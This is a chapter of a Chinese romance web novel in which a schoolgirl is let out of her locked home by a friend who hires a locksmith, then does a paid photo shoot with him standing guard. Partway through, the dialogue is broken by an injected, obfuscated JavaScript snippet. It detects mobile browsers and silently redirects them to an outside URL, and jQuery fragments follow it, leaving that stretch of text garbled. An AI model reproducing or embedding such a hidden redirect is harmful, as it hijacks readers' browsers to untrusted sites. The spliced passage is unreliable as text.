10.第 10 章
作品:《南瓜马车不停站》 陈迹舟很快回来。
江萌在卧室里,远远地听见他低声说话:“不用证件,家里有人。”
门板又被扣了两下。
“江萌。”陈迹舟在门口喊她。
江萌跑回来,说:“有的有的,在的在的。”
一看,陈迹舟居然带了个开锁师傅回来。
江萌愣在那里。
她小声说:“你的办法?”
“对。”他点头。
“……”
师傅简单问了她两句,江萌说是爸妈出门不小心把门多锁了一道。
师傅人狠话不多,很快就拿工具开始干活了。
隔着小门,江萌看了看陈迹舟,一副还以为你多高明的鄙视眼神:“小时候你都带我翻墙的。”
她小时候住的那南三区二层楼老破大,就是顺着老榆树爬下去都不会摔死。
陈迹舟无语地看她:“13楼,我蜘蛛侠吗?”
江萌很紧张地想,这未免也太兴师动众了,“那你也别用这招吧?”
她看了眼在忙碌的开锁师傅,又小声道:“感觉自己在越狱。”
江萌说完抬眼,发现陈迹舟看着她在笑。
眉眼弯弯,唇红齿白,清逸俊朗。
江萌如果一直盯着他看,是会对这幅长相脱敏的。但是如果猝不及防被帅到,偶尔也会卡壳一下。虽然不是他的迷妹,但不得不承认,他笑起来的样子能把人迷得七荤八素。
他说:“兵来将挡,水来土掩,灵活一点行不行?”
这个语气,如果不是有纱窗挡着,他大概要敲一下她的脑袋,像是催促那里快点动起来。
开锁师傅似乎是觉得这俩人意图不明,狐疑地看了他一眼。
陈迹舟低眸:“没事,您接着开。”
师傅没动,又狐疑地看向江萌。
陈迹舟继续动之以情、晓之以理:“这门要是走不了,一会儿她趴着下去,更难看不是?没准还得咱俩给她抬走。”
师傅:“……”
江萌:“……”
陈迹舟扬扬下巴:“赶紧的吧。”
道德威胁还是有用的,工具继续动了起来。
门很快被打开,前后不到十分钟,陈迹舟给师傅塞了钱,道了声谢。
开锁师傅走了,门就敞着。
江萌走进走出,走出又走进,格外神奇:“不是,怎么就能这么打开了呢?”
他靠在门框上,低眸带笑,看她像第一次越狱还不太适应的惊喜表情,又学她气若游丝又娇声娇气的语气说话:“陈迹舟,我要死了,我不活了,我要跳楼~~”
江萌对上他的笑眼,把人往外推:“讨厌啊你,能不能别这么欠。”
陈迹舟本来才跨了一只脚进门槛,这下又被她推出去了。他将手腕搭在门框上,吊儿郎当地笑:“一个电话的事。我不来,你就闷在里面把自己闷死。”
江萌看看门锁,“我总归还是有点害怕。”
门锁不是门锁,是隐形的权威。
她会流泪卖惨,会吵闹争执,甚至会在事后冷脸发誓再也不跟他们说话了。
可她没想过还有别的解法。
她习惯性地祈求权威的宽恕,却不能将它打破。
然而,他毫不在意地说:“坏事我做的,一人做事一人当,跟你有什么关系?天塌下来还有我呢。”
江萌笑着揶揄他:“这么过时的台词都说的出来,武侠剧看多了吧?”
不过嘛,确实是很帅气的。
有他在,她就会无比心安。
陈迹舟一点也不害怕家长,在他看来,最坏的结果就是挨顿揍。反正他不会打死你,明天还能擦擦伤口站起来接着快活。
“武林高手都是自己撬开,还花这个钱。”江萌往家里走的脚步都变轻快了些。
陈迹舟还懒散地靠在门口呢:“那太缺德了,就你这脾气,过河拆桥报警抓我怎么办——请我进去坐坐。”
江萌哦了一声:“进来坐坐。”
他走进来:“钥匙我看看。”
江萌把找出来的断掉的钥匙放在茶几上。
陈迹舟:“PlanA:顺利的话,楼下十块钱配把新的,在他们回来之前把你锁回去。”
他把钥匙两端断裂的部分拼凑在一起,因为断得很干脆,没有磨损,齿痕还都很新,“天衣无缝。”
江萌飞快地清了沙发上的杂物,请她的军师坐下:“陈少请坐,PlanB是什么?”
陈少坐下。
“PlanB,事迹不幸败露,启动我的三寸不烂之舌,一定努力越描越白,让他挑不出你一点错,大事化小,小事化无。最后挡在你面前,有什么冲我来。
“够不够意思?”
江萌说:“那你最好别被我爸吓到逃走,留我一个人被大卸八块。”
她一边说,一边往旁边的衣帽间去,把推拉门关上。
陈迹舟没脾气地笑,“江萌同学,我在你的心里到底是什么奸佞的形象?”
过会儿,他正儿八经又说:“阿姨就是怕你在外面出事,别想得太严肃,早说你配了个保镖,她还用得着这么大费周章吗?”
江萌换了半天衣服没找到特别合适的,又匆匆出来,路过客厅,去阳台晾衣架那儿找她的衣服:“对,我出去转了一圈,发现唯一的坏蛋是我的保镖。然后我妈妈知道我的保镖是不学无术的陈迹舟,她提前把我大卸八块。”
陈迹舟挑眉:“请问我怎么惹到叶老师了?”
江萌:“你没惹她,但我妈说过,不让我跟痞子玩。”
她拿了件t恤,一回头,就看见陈迹舟迎着正午的日光,正看着她笑。他真是被她逗乐了,笑得肩膀都颤了两下,风流随性的一张脸特别好看,江萌被晃了眼,别开视线:“你别这么看着我笑行吗。”
“我笑也碍你事了?”
江萌又进衣帽间了:“你能不能学学人家谢琢,高冷一点,你老这样不招蜂引蝶才怪。”
他嗯了声:“两个冰箱天天围着你制冷就高兴了。”
她再出门时,已然穿着清凉,一件修身的T恤加运动风的灰色短裤,不知道衣服是码数小了还是就这款式,很修身,裤子很短,陈迹舟一偏眸,还没看见她的脸,视线里笔直的两条长腿就迈了过来,他把要说的话咽回去。
江萌把头发抓起来,想扎个马尾,站在沙发旁边问他:“对了,你找我什么事?”
陈迹舟忽然不知道要说什么了。
他觉得喉咙里有点干,几乎是一瞬间发生的感受,像有火粒子在往下蹿,然后不受控地蔓延下去,让他的心肺都被点燃。
他低声说:“有水喝吗?”
他问出这话时,江萌就立刻瞥见了茶几上的矿泉水,就在他的手边,因而觉得无语,认为他有找茬的嫌疑。
江萌明明可以指一下,告诉他水就在那边,但为了表现满级嘲讽,她选择亲自过去。
越过陈迹舟,要跨过他散漫敞开的两条腿,她第一脚踏进他的腿间,第二脚就轻松地迈了出去,一把捞起横躺在那的矿泉水。
她没有注意到,自己裸露的膝盖碰到他的腿,男生工装裤粗糙的布料摩擦的不是她的皮肤,是他的心。
陈迹舟没再看她转过来的表情。
江萌掂了掂手里的水瓶,歪着脑袋看看他,随后把矿泉水往他身上丢去:“眼睛长后脑勺了吧?”
陈迹舟没反驳,接过喝了口水,虽然没有再看她,但余光已经无法收回来了。他抱着后脑勺往后倚靠,觉得心口灼灼,又躬身撑着膝盖,还是不太舒服,最后干脆起了身,往外走。
“出去等你。”他嗓音沉了沉。
-
今天确实挺热的,高温过30了,江萌最后就穿着那清凉的短袖短裤出的门,要不是因为这样换衣服方便些——比如要是人家给她条半身裙,她直接套上就行,江萌平时很少穿短裤或者短裙。
坐在出租车里,江萌跟他讲了书模那个事,但没说是因为缺钱。
他看看她:“模特?”
江萌瞥一眼前面的司机,怕被人听见会不好意思,凑到陈迹舟的耳边,她把手遮在唇边,偷偷跟他说:“嗯,而且我是去面试的人里面最漂亮的之一。那个姐姐还问我:你是混血嘛?”
陈迹舟偏眸就看见她得意忘形的样子,江萌每一种小表情都很漂亮,自满的,生气的,骄傲的,甚至是委屈的。玲珑的一张小脸上时不时情绪翻滚,来得快走得也快,鲜活动人。
陈迹舟说:“你要往这一行发展吗?”
“以后再说吧,”江萌拍拍他的肩,做慷慨的好朋友,“等我发达了,让你也跟着沾光。”
他不以为意,放眼窗外:“我看着你发达就行。”
拍摄地点在一个古镇。
江萌到那边时,只有两个拎着打光板的助理和上次那个摄影师在。
因为拍的是现代写真,他们的工具、道具都很轻便。
江萌投入“工作”的时候,陈迹舟就在一个拱桥上站着等她,他时不时看过去一眼,像是觉得这帮人一个都不靠谱,眼神严肃,江萌跟他笑一笑,表示自己很安全。
工作的流程并不复杂,除了前期的妆造稍微花了一点时间,拍照途中,只要江萌抱着书或者花之类的道具,借着这里的风景,在工作人员的帮助下凹几个造型就好。
江萌的性格很稚嫩、青涩,工作人员要求什么,她就做什么。
他们喜欢没架子的人。
租服装的店里,江萌脱掉身上的校园制服,从更衣室出来,又把妆卸了,洗了把脸。
助理姐姐过来说:“你银行卡号发给我吧,等会儿我给你打工资。”
一听到工资,江萌本来折腾累了的眼神一下亮起来,不过:“可以给我现金吗?我没有银行卡。”
对方失笑:“行,我问问这店里的现钱够不够。”
江萌跟到前台。
助理注意了好久站桥上的少年,没忍住还是八卦了一句:“外面那个是……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684314|172675||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“好朋友。”
“长得真帅啊。”
“是吧?校草哎,”江萌听到朋友被夸也会特别开心,她得意地笑起来,又说,“不过他很有钱的,也不喜欢抛头露面的。”
言外之意,你们就别打他主意了。
助理倒是没想到这方面,回忆着:“不会是叫陈……陈什么……”
“陈迹舟!”江萌非常惊讶,“你居然也知道他啊?”
“果然是啊,他很出名的,我妹妹特别喜欢他,天天说他多帅多帅,”她摇着头,失笑说,“哎呀现在的小姑娘,我都忘记我们那个时候校草是谁了。”
江萌问:“你妹妹叫什么?”
助理说了个名字,但是江萌不认识。
“她才高一,你们不认识也正常。”
江萌往外面看。
被讨论的“大明星”正气定神闲地靠在桥头,汉白玉的雕花栏杆上。
他戴黑色帽子,微微低头,手掌扶着半边脸,像是倦了在休息,也可能是在挡太阳。
脸比手还小,指骨像是微观的竹节,白皙修长,而具有少年人的韧劲,他生得高挑,容貌骨骼都是一等一,站在风里,清瘦又有型。
先不论脸帅成什么样子,这高个长腿,肩背挺拔的身材就够吸睛了,明净舒展的少年身体,像极了书里健康茁壮而又傲骨铮铮的白杨,只是立在那里,就足以抵御浑浊世间许多的风雪洪流。
“性格也挺好的啊,等这么久,也不催。”
江萌点头:“对啊,他人超好的。”
今天天气很热。
人对于日光的忍受度是很考验脾气的,陈迹舟一直没让人看出烦躁。
即便遇到麻烦事,陈迹舟不会表现出任劳任怨的苦楚,他处理任何问题都能够轻拿轻放,更不会有丝毫的牺牲感。
他会允许生活里一切状况发生,然后坦然地应对。
说得夸张点,只要有他在,不管上天遁地,江萌都挺有安全感的。
所以今天被他“盯梢”,跟这些陌生的大人相处,她反而更自在轻巧些。
助理一边数钱,一边说:“既然他很有钱,你干嘛还来做这个。”
江萌盯着她手里的红色钞票,眼睛发直:“他的钱又不是我的钱。”
“那可千万别让他知道,你今天是为了赚钱来拍照的。”
“嗯?”
“我的意思是,他会心疼的。”
江萌脸色涨红,立刻澄清:“我们真的不是那种关系!”
助理笑笑,把劳务费递给她。
今天是儿童节,一个小男孩拎着气球过去的时候,江萌才想起来这茬。
她兴致高昂地领了工资,飞奔到桥上,拍了下陈迹舟:“你怎么不找个店坐一坐?”
陈迹舟回过头,看看那几个摄影工作室的,又看了看江萌:“你见谁家保镖坐三十米开外喝咖啡的?”
“谢谢你,辛苦啦。”江萌掏出一个小风扇,对着他的脸颊按下开关,笑吟吟道,“我给你吹吹。”
突然钻出来的一股强风让他下意识往后仰了下。
女孩子突然凑近的漂亮的脸,带着完美笑容也并不会让他高兴。
陈迹舟似乎很不喜欢她的“撒娇”,无论是上回送情书时的拉扯,或是眼下的殷勤,他抬手取走了她手里的风扇,将档位按到off,塞回她手心。
“不用拿这一套对我,”陈迹舟认认真真地告诉她,“你不这样做我也会等你。”
江萌的脸色停格了一秒钟。
她难以相信,池雨恩会说,你不帮我递情书我也觉得你很可爱。
难以相信爸爸会说,你不成为很出色的女儿,我也会爱你。
难以相信,她的每一个同学对她说,你不用笑脸相迎,我也愿意和你做好朋友。
她对所有人的信任虚无缥缈。
只有陈迹舟的声音是落地的。
在江萌愣神的时候,陈迹舟看了眼手表:“拍好了吗?”
“好了。”
“叔叔几点下班?”
“不知道他在忙什么,我问问。”
“你问。”他下了桥,找路出去。
江萌拿出手机站那儿,低头发了会儿消息,再抬头,个高腿长的人已经走出去挺远了,她喊了陈迹舟一声:“你的三寸不烂之舌有没有用啊,会不会计划失效?”
他想了一想,说:“还有个保留的PlanC,看你愿不愿意执行。”
她面露惊喜:“是什么?”
陈迹舟回头看着她,倒着走了两步。
他忽然笑起来,将手掌扩在嘴边当做小喇叭:“别回家了,跟我走吧。”
身后的绿灯亮起,他招招手,示意她跟上,然后往斑马线的那一头跑。
茂盛的香樟被吹落旧年的枯叶,即将进入新一轮夏天,充满生机。
绿灯很短,而马路宽阔,江萌没有犹豫。
无所顾忌地跟随陈迹舟这件事,就像一片叶子被风吹起来那样简单。